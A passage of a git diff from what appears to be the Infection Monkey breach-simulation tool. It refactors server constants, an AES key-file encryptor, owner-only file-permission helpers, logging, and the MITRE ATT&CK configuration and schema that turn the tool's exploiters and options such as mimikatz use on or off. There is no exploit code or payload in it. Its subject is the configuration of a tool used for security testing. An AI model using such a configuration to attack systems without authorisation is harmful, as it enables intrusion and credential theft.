+ return str(Path(__file__).resolve().parent.parent.parent) + + +SERVER_CONFIG_FILENAME = "server_config.json" + +MONKEY_ISLAND_ABS_PATH = _get_monkey_island_abs_path() + +DEFAULT_DATA_DIR = expand_path(get_default_data_dir()) -MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island') DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 + +_MONGO_BINARY_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "bin", "mongodb") +_MONGO_EXECUTABLE_PATH_WIN = os.path.join(_MONGO_BINARY_DIR, "mongod.exe") +_MONGO_EXECUTABLE_PATH_LINUX = os.path.join(_MONGO_BINARY_DIR, "bin", "mongod") +MONGO_EXECUTABLE_PATH = ( + _MONGO_EXECUTABLE_PATH_WIN if is_windows_os() else _MONGO_EXECUTABLE_PATH_LINUX +) +MONGO_CONNECTION_TIMEOUT = 15 + +DEFAULT_SERVER_CONFIG_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME)) + +DEFAULT_LOG_LEVEL = "INFO" + +DEFAULT_START_MONGO_DB = True + +DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) +DEFAULT_KEY_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) + +DEFAULT_CERTIFICATE_PATHS = { + "ssl_certificate_file": DEFAULT_CRT_PATH, + "ssl_certificate_key_file": DEFAULT_KEY_PATH, +} + +GEVENT_EXCEPTION_LOG = "gevent_exceptions.log" diff --git a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py index 3c53586d1..0cc2036de 100644 --- a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py +++ b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py @@ -3,7 +3,6 @@ from flask.json import JSONEncoder class CustomJSONEncoder(JSONEncoder): - def default(self, obj): try: if isinstance(obj, ObjectId): diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index cce7d464a..ab9bc617a 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -6,39 +6,39 @@ import os from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file -__author__ = "itay.mizeretz" +_encryptor = None class Encryptor: _BLOCK_SIZE = 32 - _DB_PASSWORD_FILENAME = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/mongo_key.bin') + _PASSWORD_FILENAME = "mongo_key.bin" - def __init__(self): - self._load_key() + def __init__(self, password_file_dir): + password_file = os.path.join(password_file_dir, self._PASSWORD_FILENAME) - def _init_key(self): + if os.path.exists(password_file): + self._load_existing_key(password_file) + else: + self._init_key(password_file) + + def _init_key(self, password_file_path: str): self._cipher_key = Random.new().read(self._BLOCK_SIZE) - with open(self._DB_PASSWORD_FILENAME, 'wb') as f: + with open_new_securely_permissioned_file(password_file_path, "wb") as f: f.write(self._cipher_key) - def _load_existing_key(self): - with open(self._DB_PASSWORD_FILENAME, 'rb') as f: + def _load_existing_key(self, password_file): + with open(password_file, "rb") as f: self._cipher_key = f.read() - def _load_key(self): - if os.path.exists(self._DB_PASSWORD_FILENAME): - self._load_existing_key() - else: - self._init_key() - def _pad(self, message): return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( - self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) + self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) + ) def _unpad(self, message: str): - return message[0:-ord(message[len(message) - 1])] + return message[0 : -ord(message[len(message) - 1])] def enc(self, message: str): cipher_iv = Random.new().read(AES.block_size) @@ -47,9 +47,16 @@ class Encryptor: def dec(self, enc_message): enc_message = base64.b64decode(enc_message) - cipher_iv = enc_message[0:AES.block_size] + cipher_iv = enc_message[0 : AES.block_size] cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode()) + return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) -encryptor = Encryptor() +def initialize_encryptor(password_file_dir): + global _encryptor + + _encryptor = Encryptor(password_file_dir) + + +def get_encryptor(): + return _encryptor diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py new file mode 100644 index 000000000..9013cd5f8 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -0,0 +1,118 @@ +import logging +import os +import platform +import stat +from contextlib import contextmanager +from typing import Generator + +LOG = logging.getLogger(__name__) + + +def is_windows_os() -> bool: + return platform.system() == "Windows" + + +if is_windows_os(): + import win32file + import win32job + import win32security + + import monkey_island.cc.server_utils.windows_permissions as windows_permissions + + +def create_secure_directory(path: str): + if not os.path.isdir(path): + if is_windows_os(): + _create_secure_directory_windows(path) + else: + _create_secure_directory_linux(path) + + +def _create_secure_directory_linux(path: str): + try: + # Don't split directory creation and permission setting + # because it will temporarily create an accessible directory which anyone can use. + os.mkdir(path, mode=stat.S_IRWXU) + + except Exception as ex: + LOG.error(f'Could not create a directory at "{path}": {str(ex)}') + raise ex + + +def _create_secure_directory_windows(path: str): + try: + security_attributes = win32security.SECURITY_ATTRIBUTES() + security_attributes.SECURITY_DESCRIPTOR = ( + windows_permissions.get_security_descriptor_for_owner_only_perms() + ) + win32file.CreateDirectory(path, security_attributes) + + except Exception as ex: + LOG.error(f'Could not create a directory at "{path}": {str(ex)}') + raise ex + + +@contextmanager +def open_new_securely_permissioned_file(path: str, mode: str = "w") -> Generator: + if is_windows_os(): + fd = _get_file_descriptor_for_new_secure_file_windows(path) + else: + fd = _get_file_descriptor_for_new_secure_file_linux(path) + + with open(fd, mode) as f: + yield f + + +def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: + try: + mode = stat.S_IRUSR | stat.S_IWUSR + flags = ( + os.O_RDWR | os.O_CREAT | os.O_EXCL + ) # read/write, create new, throw error if file exists + fd = os.open(path, flags, mode) + + return fd + + except Exception as ex: + LOG.error(f'Could not create a file at "{path}": {str(ex)}') + raise ex + + +def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: + try: + file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE + + # Enables other processes to open this file with read-only access. + # Attempts by other processes to open the file for writing while this + # process still holds it open will fail. + file_sharing = win32file.FILE_SHARE_READ + + security_attributes = win32security.SECURITY_ATTRIBUTES() + security_attributes.SECURITY_DESCRIPTOR = ( + windows_permissions.get_security_descriptor_for_owner_only_perms() + ) + file_creation = win32file.CREATE_NEW # fails if file exists + file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS + + handle = win32file.CreateFile( + path, + file_access, + file_sharing, + security_attributes, + file_creation, + file_attributes, + _get_null_value_for_win32(), + ) + + detached_handle = handle.Detach() + + return win32file._open_osfhandle(detached_handle, os.O_RDWR) + + except Exception as ex: + LOG.error(f'Could not create a file at "{path}": {str(ex)}') + raise ex + + +def _get_null_value_for_win32(): + # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 + return win32job.CreateJobObject(None, "") diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 2b4843876..06547d84d 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -1,25 +1,66 @@ -import json -import logging.config +import logging +import logging.handlers import os +import sys -__author__ = 'Maor.Rayzin' +ISLAND_LOG_FILENAME = "monkey_island.log" +LOG_FORMAT = ( + "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" +) +FILE_MAX_BYTES = 10485760 +FILE_BACKUP_COUNT = 20 +FILE_ENCODING = "utf8" -def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): +def setup_logging(data_dir_path, log_level): """ Setup the logging configuration - :param default_path: the default log configuration file path - :param default_level: Default level to log from - :param env_key: SYS ENV key to use for external configuration file path + :param data_dir_path: data directory file path + :param log_level: level to log from :return: """ - path = default_path - value = os.getenv(env_key, None) - if value: - path = value - if os.path.exists(path): - with open(path, 'rt') as f: - config = json.load(f) - logging.config.dictConfig(config) - else: - logging.basicConfig(level=default_level) + logger = logging.getLogger() + logger.setLevel(log_level.upper()) + + formatter = _get_log_formatter() + + log_file_path = os.path.join(data_dir_path, ISLAND_LOG_FILENAME) + _add_file_handler(logger, formatter, log_file_path) + + _add_console_handler(logger, formatter) + + +def setup_default_failsafe_logging(): + logger = logging.getLogger() + logger.setLevel(logging.DEBUG) + + formatter = _get_log_formatter() + + _add_console_handler(logger, formatter) + + +def _get_log_formatter(): + return logging.Formatter(LOG_FORMAT) + + +def _add_file_handler(logger, formatter, file_path): + fh = logging.handlers.RotatingFileHandler( + file_path, maxBytes=FILE_MAX_BYTES, backupCount=FILE_BACKUP_COUNT, encoding=FILE_ENCODING + ) + fh.setFormatter(formatter) + + logger.addHandler(fh) + + +def _add_console_handler(logger, formatter): + ch = logging.StreamHandler(stream=sys.stdout) + ch.setFormatter(formatter) + + logger.addHandler(ch) + + +def reset_logger(): + logger = logging.getLogger() + + for handler in logger.handlers: + logger.removeHandler(handler) diff --git a/monkey/monkey_island/cc/server_utils/windows_permissions.py b/monkey/monkey_island/cc/server_utils/windows_permissions.py new file mode 100644 index 000000000..0a5f6de8c --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/windows_permissions.py @@ -0,0 +1,37 @@ +import ntsecuritycon +import win32api +import win32con +import win32security + + +def get_security_descriptor_for_owner_only_perms(): + user_sid = get_user_pySID_object() + security_descriptor = win32security.SECURITY_DESCRIPTOR() + dacl = win32security.ACL() + + entries = [ + { + "AccessMode": win32security.GRANT_ACCESS, + "AccessPermissions": ntsecuritycon.FILE_ALL_ACCESS, + "Inheritance": win32security.CONTAINER_INHERIT_ACE | win32security.OBJECT_INHERIT_ACE, + "Trustee": { + "TrusteeType": win32security.TRUSTEE_IS_USER, + "TrusteeForm": win32security.TRUSTEE_IS_SID, + "Identifier": user_sid, + }, + } + ] + dacl.SetEntriesInAcl(entries) + + security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) + + return security_descriptor + + +def get_user_pySID_object(): + # get current user's name + username = win32api.GetUserNameEx(win32con.NameSamCompatible) + # pySID object for the current user + user, _, _ = win32security.LookupAccountName("", username) + + return user diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/services/attack/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py index 98867ed4d..e69de29bb 100644 --- a/monkey/monkey_island/cc/services/attack/__init__.py +++ b/monkey/monkey_island/cc/services/attack/__init__.py @@ -1 +0,0 @@ -__author__ = 'VakarisZ' diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 2b9128edc..711b51bf1 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -6,8 +6,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.attack_schema import SCHEMA from monkey_island.cc.services.config import ConfigService -__author__ = "VakarisZ" - logger = logging.getLogger(__name__) @@ -17,7 +15,7 @@ class AttackConfig(object): @staticmethod def get_config(): - config = mongo.db.attack.find_one({'name': 'newconfig'})['properties'] + config = mongo.db.attack.find_one({"name": "newconfig"})["properties"] return config @staticmethod @@ -29,7 +27,7 @@ class AttackConfig(object): """ attack_config = AttackConfig.get_config() for config_key, attack_type in list(attack_config.items()): - for type_key, technique in list(attack_type['properties'].items()): + for type_key, technique in list(attack_type["properties"].items()): if type_key == technique_id: return technique return None @@ -44,7 +42,7 @@ class AttackConfig(object): @staticmethod def update_config(config_json): - mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + mongo.db.attack.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) return True @staticmethod @@ -63,37 +61,44 @@ class AttackConfig(object): @staticmethod def set_arrays(attack_techniques, monkey_config, monkey_schema): """ - Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix + Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to + ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for key, definition in list(monkey_schema['definitions'].items()): - for array_field in definition['anyOf']: + for key, definition in list(monkey_schema["definitions"].items()): + for array_field in definition["anyOf"]: # Check if current array field has attack_techniques assigned to it - if 'attack_techniques' in array_field and array_field['attack_techniques']: - should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'], - attack_techniques) + if "attack_techniques" in array_field and array_field["attack_techniques"]: + should_remove = not AttackConfig.should_enable_field( + array_field["attack_techniques"], attack_techniques + ) # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA - AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) + AttackConfig.r_alter_array( + monkey_config, key, array_field["enum"][0], remove=should_remove + ) @staticmethod def set_booleans(attack_techniques, monkey_config, monkey_schema): """ - Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix + Sets boolean type fields, like "should use mimikatz?" in monkey's config according to + ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ - for key, value in list(monkey_schema['properties'].items()): + for key, value in list(monkey_schema["properties"].items()): AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config) @staticmethod def r_set_booleans(path, value, attack_techniques, monkey_config): """ - Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them + Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to + be set and sets them according to ATT&CK matrix. - :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', + 'should_use_mimikatz'] :param value: Value of config property :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration @@ -101,15 +106,20 @@ class AttackConfig(object): if isinstance(value, dict): dictionary = {} # If 'value' is a boolean value that should be set: - if 'type' in value and value['type'] == 'boolean' \ - and 'attack_techniques' in value and value['attack_techniques']: - AttackConfig.set_bool_conf_val(path, - AttackConfig.should_enable_field(value['attack_techniques'], - attack_techniques), - monkey_config) + if ( + "type" in value + and value["type"] == "boolean" + and "attack_techniques" in value + and value["attack_techniques"] + ): + AttackConfig.set_bool_conf_val( + path, + AttackConfig.should_enable_field(value["attack_techniques"], attack_techniques), + monkey_config, + ) # If 'value' is dict, we go over each of it's fields to search for booleans - elif 'properties' in value: - dictionary = value['properties'] + elif "properties" in value: + dictionary = value["properties"] else: dictionary = value for key, item in list(dictionary.items()): @@ -122,11 +132,12 @@ class AttackConfig(object): def set_bool_conf_val(path, val, monkey_config): """ Changes monkey's configuration by setting one of its boolean fields value - :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz'] + :param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', + 'should_use_mimikatz'] :param val: Boolean :param monkey_config: Monkey's configuration """ - util.set(monkey_config, '/'.join(path), val) + util.set(monkey_config, "/".join(path), val) @staticmethod def should_enable_field(field_techniques, users_techniques): @@ -141,7 +152,9 @@ class AttackConfig(object): if not users_techniques[technique]: return False except KeyError: - logger.error("Attack technique %s is defined in schema, but not implemented." % technique) + logger.error( + "Attack technique %s is defined in schema, but not implemented." % technique + ) return True @staticmethod @@ -172,8 +185,8 @@ class AttackConfig(object): attack_config = AttackConfig.get_config() techniques = {} for type_name, attack_type in list(attack_config.items()): - for key, technique in list(attack_type['properties'].items()): - techniques[key] = technique['value'] + for key, technique in list(attack_type["properties"].items()): + techniques[key] = technique["value"] return techniques @staticmethod @@ -184,6 +197,9 @@ class AttackConfig(object): attack_config = AttackConfig.get_config() techniques = {} for type_name, attack_type in list(attack_config.items()): - for key, technique in list(attack_type['properties'].items()): - techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']} + for key, technique in list(attack_type["properties"].items()): + techniques[key] = { + "selected": technique["value"], + "type": SCHEMA["properties"][type_name]["title"], + } return techniques diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 572b469c5..61952571e 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,56 +3,90 @@ import logging from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.attack_config import AttackConfig -from monkey_island.cc.services.attack.technique_reports import (T1003, T1005, T1016, T1018, T1021, T1035, T1041, T1053, - T1059, T1064, T1065, T1075, T1082, T1086, T1087, T1090, - T1099, T1105, T1106, T1107, T1110, T1129, T1136, T1145, - T1146, T1154, T1156, T1158, T1166, T1168, T1188, T1197, - T1210, T1216, T1222, T1504) -from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report - -__author__ = "VakarisZ" +from monkey_island.cc.services.attack.technique_reports import ( + T1003, + T1005, + T1016, + T1018, + T1021, + T1035, + T1041, + T1053, + T1059, + T1064, + T1065, + T1075, + T1082, + T1086, + T1087, + T1090, + T1099, + T1105, + T1106, + T1107, + T1110, + T1129, + T1136, + T1145, + T1146, + T1154, + T1156, + T1158, + T1166, + T1168, + T1188, + T1197, + T1210, + T1216, + T1222, + T1504, +) +from monkey_island.cc.services.reporting.report_generation_synchronisation import ( + safe_generate_attack_report, +) LOG = logging.getLogger(__name__) -TECHNIQUES = {'T1210': T1210.T1210, - 'T1197': T1197.T1197, - 'T1110': T1110.T1110, - 'T1075': T1075.T1075, - 'T1003': T1003.T1003, - 'T1059': T1059.T1059, - 'T1086': T1086.T1086, - 'T1082': T1082.T1082, - 'T1145': T1145.T1145, - 'T1065': T1065.T1065, - 'T1105': T1105.T1105, - 'T1035': T1035.T1035, - 'T1129': T1129.T1129, - 'T1106': T1106.T1106, - 'T1107': T1107.T1107, - 'T1188': T1188.T1188, - 'T1090': T1090.T1090, - 'T1041': T1041.T1041, - 'T1222': T1222.T1222, - 'T1005': T1005.T1005, - 'T1018': T1018.T1018, - 'T1016': T1016.T1016, - 'T1021': T1021.T1021, - 'T1064': T1064.T1064, - 'T1136': T1136.T1136, - 'T1156': T1156.T1156, - 'T1504': T1504.T1504, - 'T1158': T1158.T1158, - 'T1154': T1154.T1154, - 'T1166': T1166.T1166, - 'T1168': T1168.T1168, - 'T1053': T1053.T1053, - 'T1099': T1099.T1099, - 'T1216': T1216.T1216, - 'T1087': T1087.T1087, - 'T1146': T1146.T1146 - } +TECHNIQUES = { + "T1210": T1210.T1210, + "T1197": T1197.T1197, + "T1110": T1110.T1110, + "T1075": T1075.T1075, + "T1003": T1003.T1003, + "T1059": T1059.T1059, + "T1086": T1086.T1086, + "T1082": T1082.T1082, + "T1145": T1145.T1145, + "T1065": T1065.T1065, + "T1105": T1105.T1105, + "T1035": T1035.T1035, + "T1129": T1129.T1129, + "T1106": T1106.T1106, + "T1107": T1107.T1107, + "T1188": T1188.T1188, + "T1090": T1090.T1090, + "T1041": T1041.T1041, + "T1222": T1222.T1222, + "T1005": T1005.T1005, + "T1018": T1018.T1018, + "T1016": T1016.T1016, + "T1021": T1021.T1021, + "T1064": T1064.T1064, + "T1136": T1136.T1136, + "T1156": T1156.T1156, + "T1504": T1504.T1504, + "T1158": T1158.T1158, + "T1154": T1154.T1154, + "T1166": T1166.T1166, + "T1168": T1168.T1168, + "T1053": T1053.T1053, + "T1099": T1099.T1099, + "T1216": T1216.T1216, + "T1087": T1087.T1087, + "T1146": T1146.T1146, +} -REPORT_NAME = 'new_report' +REPORT_NAME = "new_report" class AttackReportService: @@ -65,34 +99,24 @@ class AttackReportService: Generates new report based on telemetries, replaces old report in db with new one. :return: Report object """ - report = \ - { - 'techniques': {}, - 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, - 'name': REPORT_NAME - } + report = { + "techniques": {}, + "meta": {"latest_monkey_modifytime": Monkey.get_latest_modifytime()}, + "name": REPORT_NAME, + } for tech_id, tech_info in list(AttackConfig.get_techniques_for_report().items()): try: technique_report_data = TECHNIQUES[tech_id].get_report_data() technique_report_data.update(tech_info) - report['techniques'].update({tech_id: technique_report_data}) + report["techniques"].update({tech_id: technique_report_data}) except KeyError as e: - LOG.error("Attack technique does not have it's report component added " - "to attack report service. %s" % e) - mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) + LOG.error( + "Attack technique does not have it's report component added " + "to attack report service. %s" % e + ) + mongo.db.attack_report.replace_one({"name": REPORT_NAME}, report, upsert=True) return report - @staticmethod - def get_latest_attack_telem_time(): - """ - Gets timestamp of latest attack telem - :return: timestamp of latest attack telem - """ - return [ - x['timestamp'] for x in - mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1) - ][0] - @staticmethod def get_latest_report(): """ @@ -101,8 +125,8 @@ class AttackReportService: """ if AttackReportService.is_report_generated(): monkey_modifytime = Monkey.get_latest_modifytime() - latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) - report_modifytime = latest_report['meta']['latest_monkey_modifytime'] + latest_report = mongo.db.attack_report.find_one({"name": REPORT_NAME}) + report_modifytime = latest_report["meta"]["latest_monkey_modifytime"] if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: return latest_report @@ -121,4 +145,6 @@ class AttackReportService: def delete_saved_report_if_exists(): delete_result = mongo.db.attack_report.delete_many({}) if mongo.db.attack_report.count_documents({}) != 0: - raise RuntimeError("Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result) + raise RuntimeError( + "Attack Report cache not cleared. DeleteResult: " + delete_result.raw_result + ) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 714e57135..af27808a9 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -13,8 +13,9 @@ SCHEMA = { "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1059", - "description": "Adversaries may use command-line interfaces to interact with systems " - "and execute other software during the course of an operation.", + "description": "Adversaries may use command-line interfaces to interact with " + "systems " + "and execute other software during the course of an operation.", }, "T1129": { "title": "Execution through module load", @@ -22,9 +23,11 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1129", - "description": "The Windows module loader can be instructed to load DLLs from arbitrary " - "local paths and arbitrary Universal Naming Convention (UNC) network paths.", - "depends_on": ["T1078", "T1003"] + "description": "The Windows module loader can be instructed to load DLLs from " + "arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) " + "network paths.", + "depends_on": ["T1078", "T1003"], }, "T1106": { "title": "Execution through API", @@ -33,8 +36,8 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1106", "description": "Adversary tools may directly use the Windows application " - "programming interface (API) to execute binaries.", - "depends_on": ["T1210"] + "programming interface (API) to execute binaries.", + "depends_on": ["T1210"], }, "T1086": { "title": "Powershell", @@ -43,7 +46,7 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1086", "description": "Adversaries can use PowerShell to perform a number of actions," - " including discovery of information and execution of code.", + " including discovery of information and execution of code.", }, "T1064": { "title": "Scripting", @@ -52,7 +55,7 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1064", "description": "Adversaries may use scripts to aid in operations and " - "perform multiple actions that would otherwise be manual.", + "perform multiple actions that would otherwise be manual.", }, "T1035": { "title": "Service execution", @@ -60,9 +63,11 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1035", - "description": "Adversaries may execute a binary, command, or script via a method " - "that interacts with Windows services, such as the Service Control Manager.", - "depends_on": ["T1210"] + "description": "Adversaries may execute a binary, command, or script via a " + "method " + "that interacts with Windows services, such as the Service " + "Control Manager.", + "depends_on": ["T1210"], }, "T1154": { "title": "Trap", @@ -70,9 +75,10 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1154", - "description": "Adversaries can use the trap command to register code to be executed " - "when the shell encounters specific interrupts." - } + "description": "Adversaries can use the trap command to register code to be " + "executed " + "when the shell encounters specific interrupts.", + }, }, }, "persistence": { @@ -87,9 +93,10 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1156", "description": "Adversaries may abuse shell scripts by " - "inserting arbitrary shell commands to gain persistence, which " - "would be executed every time the user logs in or opens a new shell.", - "depends_on": ["T1504"] + "inserting arbitrary shell commands to gain persistence, which " + "would be executed every time the user logs in or opens a new " + "shell.", + "depends_on": ["T1504"], }, "T1136": { "title": "Create account", @@ -98,7 +105,7 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1136", "description": "Adversaries with a sufficient level of access " - "may create a local system, domain, or cloud tenant account." + "may create a local system, domain, or cloud tenant account.", }, "T1158": { "title": "Hidden files and directories", @@ -107,8 +114,8 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1158", "description": "Adversaries can hide files and folders on the system " - "and evade a typical user or system analysis that does not " - "incorporate investigation of hidden files." + "and evade a typical user or system analysis that does not " + "incorporate investigation of hidden files.", }, "T1168": { "title": "Local job scheduling", @@ -117,9 +124,11 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1168/", "description": "Linux supports multiple methods for creating pre-scheduled and " - "periodic background jobs. Job scheduling can be used by adversaries to " - "schedule running malicious code at some specified date and time.", - "depends_on": ["T1053"] + "periodic background jobs. Job scheduling can be used by " + "adversaries to " + "schedule running malicious code at some specified date and " + "time.", + "depends_on": ["T1053"], }, "T1504": { "title": "PowerShell profile", @@ -128,9 +137,9 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1504", "description": "Adversaries may gain persistence and elevate privileges " - "in certain situations by abusing PowerShell profiles which " - "are scripts that run when PowerShell starts.", - "depends_on": ["T1156"] + "in certain situations by abusing PowerShell profiles which " + "are scripts that run when PowerShell starts.", + "depends_on": ["T1156"], }, "T1053": { "title": "Scheduled task", @@ -138,10 +147,13 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1053", - "description": "Windows utilities can be used to schedule programs or scripts to " - "be executed at a date and time. An adversary may use task scheduling to " - "execute programs at system startup or on a scheduled basis for persistence.", - "depends_on": ["T1168"] + "description": "Windows utilities can be used to schedule programs or scripts " + "to " + "be executed at a date and time. An adversary may use task " + "scheduling to " + "execute programs at system startup or on a scheduled basis for " + "persistence.", + "depends_on": ["T1168"], }, "T1166": { "title": "Setuid and Setgid", @@ -149,10 +161,11 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1166", - "description": "Adversaries can set the setuid or setgid bits to get code running in " - "a different user’s context." - } - } + "description": "Adversaries can set the setuid or setgid bits to get code " + "running in " + "a different user’s context.", + }, + }, }, "defence_evasion": { "title": "Defence evasion", @@ -166,7 +179,7 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1197", "description": "Adversaries may abuse BITS to download, execute, " - "and even clean up after running malicious code." + "and even clean up after running malicious code.", }, "T1146": { "title": "Clear command history", @@ -175,7 +188,7 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1146", "description": "Adversaries may clear/disable command history of a compromised " - "account to conceal the actions undertaken during an intrusion." + "account to conceal the actions undertaken during an intrusion.", }, "T1107": { "title": "File Deletion", @@ -184,8 +197,8 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1107", "description": "Adversaries may remove files over the course of an intrusion " - "to keep their footprint low or remove them at the end as part " - "of the post-intrusion cleanup process." + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process.", }, "T1222": { "title": "File permissions modification", @@ -193,7 +206,8 @@ SCHEMA = { "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1222", - "description": "Adversaries may modify file permissions/attributes to evade intended DACLs." + "description": "Adversaries may modify file permissions/attributes to evade " + "intended DACLs.", }, "T1099": { "title": "Timestomping", @@ -201,8 +215,10 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1099", - "description": "Adversaries may modify file time attributes to hide new/changes to existing " - "files to avoid attention from forensic investigators or file analysis tools." + "description": "Adversaries may modify file time attributes to hide " + "new/changes to existing " + "files to avoid attention from forensic investigators or file " + "analysis tools.", }, "T1216": { "title": "Signed script proxy execution", @@ -210,10 +226,11 @@ SCHEMA = { "value": False, "necessary": False, "link": "https://attack.mitre.org/techniques/T1216", - "description": "Adversaries may use scripts signed with trusted certificates to " - "proxy execution of malicious files on Windows systems." - } - } + "description": "Adversaries may use scripts signed with " + "trusted certificates to " + "proxy execution of malicious files on Windows systems.", + }, + }, }, "credential_access": { "title": "Credential access", @@ 